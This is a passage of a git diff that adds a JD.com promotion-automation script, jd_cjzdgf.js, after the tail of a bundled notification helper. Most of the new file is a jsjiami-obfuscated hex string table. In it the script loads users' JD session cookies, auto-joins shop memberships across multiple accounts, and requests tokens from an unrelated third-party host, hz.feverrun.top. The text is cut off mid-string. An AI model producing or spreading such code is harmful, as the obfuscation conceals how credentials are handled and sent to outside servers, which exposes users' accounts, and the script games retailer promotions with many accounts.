s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_cjzdgf.js b/jd_cjzdgf.js new file mode 100644 index 0000000..e125182 --- /dev/null +++ b/jd_cjzdgf.js @@ -0,0 +1,18 @@ +/* +CJ组队瓜分京豆 +https://cjhydz-isv.isvjcloud.com/wxTeam/activity?activityId=xxx +活动ID 必需 +export jd_cjhy_activityId="xxx" +#CJ组队瓜分京豆 +cron "1 1 1 1 1" jd_cjzdgf.js +*/ +const $ = new Env('CJ组队瓜分京豆') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + + +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe7be9=["","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x65\x6E\x76","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x68\x6F\x74\x46\x6C\x61\x67","\x6F\x75\x74\x46\x6C\x61\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6E\x64","\x63\x61\x6E\x43\x72\x65\x61\x74\x65","\x63\x61\x6E\x4A\x6F\x69\x6E","\x73\x68\x6F\x70\x49\x64","\x74\x65\x61\x6D\x46\x75\x6C\x6C","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\x6C\x6F\x67\x45\x72\x72","\x63\x61\x74\x63\x68","\x6E\x61\x6D\x65","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6D\x73\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\u6D3B\u52A8\x49\x64\u4E0D\u5B58\u5728\x2C\x20\u9000\u51FA\u6267\u884C\x21","\x73\x69\x67\x6E\x55\x75\x69\x64","\x62\x32\x36\x39\x38\x33\x38\x38\x35\x30\x61\x64\x34\x33\x65\x64\x62\x62\x30\x36\x66\x64\x33\x38\x39\x38\x61\x36\x34\x30\x65\x61","\x61\x74\x74\x72\x54\x6F\x75\x58\x69\x61\x6E\x67","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6D\x67\x31\x30\x2E\x33\x36\x30\x62\x75\x79\x69\x6D\x67\x2E\x63\x6F\x6D\x2F\x69\x6D\x67\x7A\x6F\x6E\x65\x2F\x6A\x66\x73\x2F\x74\x31\x2F\x37\x30\x32\x30\x2F\x32\x37\x2F\x31\x33\x35\x31\x31\x2F\x36\x31\x34\x32\x2F\x35\x63\x35\x31\x33\x38\x64\x38\x45\x34\x64\x66\x32\x65\x37\x36\x34\x2F\x35\x61\x31\x32\x31\x36\x61\x33\x61\x35\x30\x34\x33\x63\x35\x64\x2E\x70\x6E\x67","\u5165\u53E3\x3A\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x64\x7A\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x54\x65\x61\x6D\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x26\x73\x69\x64\x3D\x26\x75\x6E\x5F\x61\x72\x65\x61\x3D","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x62\x65\x61\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x69\x73\x4C\x6F\x67\x69\x6E","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x6F\x70\x65\x6E\x65\x64\x43\x61\x72\x64\x53\x74\x61\x74\x75\x73","\x68\x61\x73\x45\x6E\x64","\x65\x6E\x64\x54\x69\x6D\x65","\x54\x6F\x6B\x65\x6E","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\u5931\u8D25","\u6D3B\u52A8\u7ED3\u675F","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C\x0A","\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x50\x69\x6E","\u83B7\u53D6\x5B\x50\x69\x6E\x5D\u5931\u8D25\uFF01","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67","\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\x73\x68\x6F\x70\x49\x6E\x66\x6F","\x67\x65\x74\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F","\x63\x61\x6E\x43\x72\x65\x61\x74\x65\x3A","\x6A\x6F\x69\x6E\x56\x65\x6E\x64\x65\x72\x49\x64","\x76\x65\x6E\x64\x65\x72\x49\x64","\u6D3B\u52A8\u592A\u706B\u7206\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5","\x69\x6E\x64\x65\x78\x4F\x66","\x65\x72\x72\x6F\x72\x4A\x6F\x69\x6E\x53\x68\x6F\x70","\u52A0\u5165\u5E97\u94FA\u4F1A\u5458\u5931\u8D25","\u7B2C\x31\u6B21\u91CD\u8BD5","\u7B2C\x32\u6B21\u91CD\u8BD5","\u5DF2\u662F\u5E97\u94FA\u4F1A\u5458\x3A","\u521B\u5EFA\u961F\u4F0D","\x73\x61\x76\x65\x43\x61\x70\x74\x61\x69\x6E","\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70\x41\x72\x72\x61\x79","\u5DF2\u521B\u5EFA","\x73\x61\x76\x65\x4D\x65\x6D\x62\x65\x72","\u65E0\u6CD5\u91CD\u590D\u5165\u961F","\u7EC4\u961F\u5DF2\u6EE1\u9000\u51FA","\u83B7\u53D6\u4E0D\u5230\x5B\x73\x69\x67\x6E\x55\x75\x69\x64\x5D\u9000\u51FA\u6267\u884C\uFF0C\u8BF7\u91CD\u65B0\u6267\u884C","\x6E\x6F\x77","\u5F53\u524D\u52A9\u529B\x3A","\u540E\u9762\u7684\u53F7\u90FD\u4F1A\u52A9\u529B\x3A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x64\x7A\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x50\x4F\x53\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x75\x73\x65\x72\x49\x64\x3D\x20","\x26\x74\x6F\x6B\x65\x6E\x3D","\x26\x66\x72\x6F\x6D\x54\x79\x70\x65\x3D\x41\x50\x50\x26\x72\x69\x73\x6B\x54\x79\x70\x65\x3D\x31","\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x63\x63\x65\x73\x73\x4C\x6F\x67","\x2F\x77\x78\x54\x65\x61\x6D\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x26\x73\x69\x67\x6E\x55\x75\x69\x64\x3D","\x26\x73\x68\x61\x72\x65\x75\x73\x65\x72\x69\x64\x34\x6D\x69\x6E\x69\x70\x67\x3D","\x26\x73\x68\x6F\x70\x69\x64\x3D","\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x26\x63\x6F\x64\x65\x3D\x31\x30\x30\x26\x70\x69\x6E\x3D","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x26\x70\x61\x67\x65\x55\x72\x6C\x3D","\x26\x73\x75\x62\x54\x79\x70\x65\x3D\x61\x70\x70","\x2F\x77\x78\x41\x63\x74\x69\x6F\x6E\x43\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x70\x69\x6E\x3D","\x2F\x77\x78\x54\x65\x61\x6D\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\x26\x70\x69\x6E\x3D","\x2F\x6D\x63\x2F\x6E\x65\x77\x2F\x62\x72\x61\x6E\x64\x43\x61\x72\x64\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x73\x68\x6F\x70\x41\x6E\x64\x42\x72\x61\x6E\x64\x2F\x67\x65\x74\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F","\x26\x62\x75\x79\x65\x72\x50\x69\x6E\x3D","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x54\x79\x70\x65\x3D","\x61\x63\x74\x69\x76\x69\x74\x79\x54\x79\x70\x65","\x2F\x77\x78\x54\x65\x61\x6D\x2F\x73\x61\x76\x65\x43\x61\x70\x74\x61\x69\x6E","\x26\x70\x69\x6E\x49\x6D\x67\x3D","\x26\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x2F\x77\x78\x54\x65\x61\x6D\x2F\x73\x61\x76\x65\x4D\x65\x6D\x62\x65\x72","\x2F\x77\x78\x54\x65\x61\x6D\x2F\x73\x68\x6F\x70\x49\x6E\x66\x6F","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70\x41\x72\x72\x61\x79","\x26\x74\x79\x70\x65\x3D","\u9519\u8BEF","\x68\x65\x61\x64\x65\x72\x73","\x73\x65\x74\x2D\x63\x6F\x6F\x6B\x69\x65","\x53\x65\x74\x2D\x43\x6F\x6F\x6B\x69\x65","\x6F\x62\x6A\x65\x63\x74","\x2C","\x73\x70\x6C\x69\x74","\x74\x72\x69\x6D","\x3B","\x3D","\x4C\x5A\x5F\x54\x4F\x4B\x45\x4E\x5F\x4B\x45\x59\x3D","\x6C\x7A\x5F\x74\x6F\x6B\x65\x6E\x5F\x6B\x65\x79","\x72\x65\x70\x6C\x61\x63\x65","\x4C\x5A\x5F\x54\x4F\x4B\x45\x4E\x5F\x56\x41\x4C\x55\x45\x3D","\x6C\x7A\x5F\x74\x6F\x6B\x65\x6E\x5F\x76\x61\x6C\x75\x65","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x74\x6F\x53\x74\x72","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x6F\x73\x74","\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x70\x61\x72\x73\x65","\x20\u6267\u884C\u4EFB\u52A1\u5F02\u5E38","\x72\x75\x6E\x46\x61\x6C\x61\x67","\x65\x72\x72\x63\x6F\x64\x65","\x74\x6F\x6B\x65\x6E","\x6D\x65\x73\x73\x61\x67\x65","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x20","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x6A\x64\x41\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x65\x72\x72\x6F\x72\x4D\x65\x73\x73\x61\x67\x65","\x73\x65\x63\x72\x65\x74\x50\x69\x6E","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\x79\x75\x6E\x4D\x69\x64\x49\x6D\x61\x67\x65\x55\x72\x6C","\x61\x63\x74\x69\x76\x65","\x69\x64","\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x6E\x65\x65\x64\x46\x6F\x6C\x6C\x6F\x77","\x6D\x61\x78\x47\x72\x6F\x75\x70","\x61\x63\x74\x55\x72\x6C","\x73\x68\x6F\x72\x74\x55\x72\x6C","\x69\x73\x45\x6E\x64","\x6A\x6F\x69\x6E\x4C\x69\x73\x74","\x75\x73\x65\x72\x49\x64","\x6F\x70\x65\x6E\x65\x64\x43\x61\x72\x64","\x73\x61\x76\x65\x43\x61\x70\x74\x61\x69\x6E\x3A","\x61\x63\x74\x69\x76\x69\x74\x79\x4E\x61\x6D\x65","\x75\x75\x69\x64","\u961F\u4F0D\u5DF2\u7ECF\u6EE1\u5458\u4E86\u54E6\uFF01","\x73\x68\x6F\x70\x4E\x61\x6D\x65","\x73\x69\x64","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x3A","\x2D\x3E\x20","\u706B\u7206","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x63\x6E","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x55\x41","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x52\x65\x66\x65\x72\x65\x72","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x64\x7A\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x54\x65\x61\x6D\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x43\x6F\x6F\x6B\x69\x65","\x41\x55\x54\x48\x5F\x43\x5F\x55\x53\x45\x52\x3D","\x77\x78\x54\x65\x61\x6D","\x49\x73\x76\x54\x6F\x6B\x65\x6E\x3D","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x54\x6F\x6B\x65\x6E\x3F\x74\x79\x70\x65\x3D\x63\x6A\x68\x79\x64\x7A","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x63\x6F\x64\x65","\x67\x65\x74","\x20\x63\x6F\x6F\x6B\x69\x65\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\u6D3B\u52A8\u5DF2\u7ED3\u675F","\x73\x75\x62\x73\x74\x72","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x34\x2E\x36\x3B\x31\x33\x2E\x31\x2E\x32\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x69\x50\x68\x6F\x6E\x65\x38\x2C\x31\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x36\x37\x38\x31\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x33\x5F\x31\x5F\x32\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x73\x68\x6F\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x2C\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3A","\x7B\x22\x76\x65\x6E\x64\x65\x72\x49\x64\x22\x3A\x22","\x22\x2C\x22\x62\x69\x6E\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6F\x64\x65\x46\x6C\x61\x67\x22\x3A\x31\x2C\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6E\x64\x22\x3A\x7B\x7D\x2C\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6C\x64\x46\x6C\x61\x67\x22\x3A\x30","\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x31\x7D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x62\x69\x6E\x64\x57\x69\x74\x68\x56\x65\x6E\x64\x65\x72\x26\x62\x6F\x64\x79\x3D","\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\x2A\x2F\x2A","\x7A\x68\x2D\x43\x4E\x2C\x7A\x68\x3B\x71\x3D\x30\x2E\x39\x2C\x65\x6E\x2D\x55\x53\x3B\x71\x3D\x30\x2E\x38\x2C\x65\x6E\x3B\x71\x3D\x30\x2E\x37","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x68\x6F\x70\x6D\x65\x6D\x62\x65\x72\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x74\x6F\x4F\x62\x6A","\x73\x75\x63\x63\x65\x73\x73","\x67\x69\x66\x74\x49\x6E\x66\x6F","\x67\x69\x66\x74\x4C\x69\x73\x74","\u5165\u4F1A\u83B7\u5F97\x3A","\x64\x69\x73\x63\x6F\x75\x6E\x74\x53\x74\x72\x69\x6E\x67","\x70\x72\x69\x7A\x65\x4E\x61\x6D\x65","\x73\x65\x63\x6F\x6E\x64\x4C\x69\x6E\x65\x44\x65\x73\x63","\x22\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x31\x2C\x22\x70\x61\x79\x55\x70\x53\x68\x6F\x70\x22\x3A\x74\x72\x75\x65\x2C\x22\x71\x75\x65\x72\x79\x56\x65\x72\x73\x69\x6F\x6E\x22\x3A\x22\x31\x30\x2E\x35\x2E\x32\x22\x7D","\x79\x79\x79\x79\x4D\x4D\x64\x64\x68\x68\x6D\x6D\x73\x73\x53\x53\x53","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x37\x31\x34\x31\x31\x61\x39\x65\x31\x38\x6E\x38\x6A\x6D\x6D\x44\x4B\x48\x4D\x35\x71\x59\x32\x47\x51\x45\x48\x4E\x38\x4D\x45\x44\x6E\x78\x6E\x4D\x4E\x42\x56\x55\x47\x56\x49\x74\x52\x65\x65\x54\x33\x30\x46\x78\x41\x33\x4E\x49\x6F\x49\x6A\x71\x70\x57\x54\x37\x54\x65\x38\x62\x46\x33\x37\x46\x4A\x32\x57\x2B\x57\x7A\x69\x69\x78\x4C\x48\x68\x46\x30\x31\x3B\x33\x39\x32\x63\x66\x39\x62\x61\x64\x65\x34\x65\x31\x62\x30\x32\x65\x36\x66\x61\x38\x33\x63\x31\x64\x34\x37\x64\x37\x66\x31\x32\x34\x35\x65\x35\x61\x37\x61\x65\x39\x65\x62\x39\x32\x36\x34\x35\x31\x34\x32\x32\x37\x61\x64\x36\x66\x39\x33\x35\x64\x66\x39\x65\x3B\x33\x2E\x30\x3B","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x67\x65\x74\x53\x68\x6F\x70\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F\x26\x62\x6F\x64\x79\x3D","\u5165\u4F1A\x3A","\x76\x65\x6E\x64\x65\x72\x43\x61\x72\x64\x4E\x61\x6D\x65","\x73\x68\x6F\x70\x4D\x65\x6D\x62\x65\x72\x43\x61\x72\x64\x49\x6E\x66\x6F","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6C\x65\x4C\x69\x73\x74","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x49\x6E\x66\x6F","\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x73\x6C\x69\x63\x65","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x39\x62\x63\x31\x62\x39\x38\x31\x38\x6E\x38\x75\x46\x68\x52\x38\x6B\x73\x33\x72\x79\x51\x57\x4D\x4F\x5A\x7A\x6A\x70\x44\x56\x43\x49\x4E\x4A\x4A\x48\x38\x61\x50\x30\x79\x32\x52\x57\x46\x4C\x69\x4A\x42\x6D\x4C\x6B\x33\x5A\x37\x6A\x39\x72\x68\x6D\x35\x63\x6A\x37\x44\x4E\x30\x77\x39\x6D\x49\x48\x65\x73\x71\x6F\x6D\x75\x30\x42\x34\x36\x68\x30\x68\x3B\x35\x61\x62\x35\x65\x66\x64\x35\x64\x63\x37\x63\x33\x64\x35\x32\x64\x64\x31\x39\x61\x38\x65\x61\x61\x62\x63\x37\x62\x63\x39\x39\x63\x31\x62\x39\x64\x62\x38\x30\x30\x61\x34\x32\x30\x38\x62\x61\x31\x31\x34\x32\x63\x38\x61\x37\x63\x37\x62\x66\x38\x3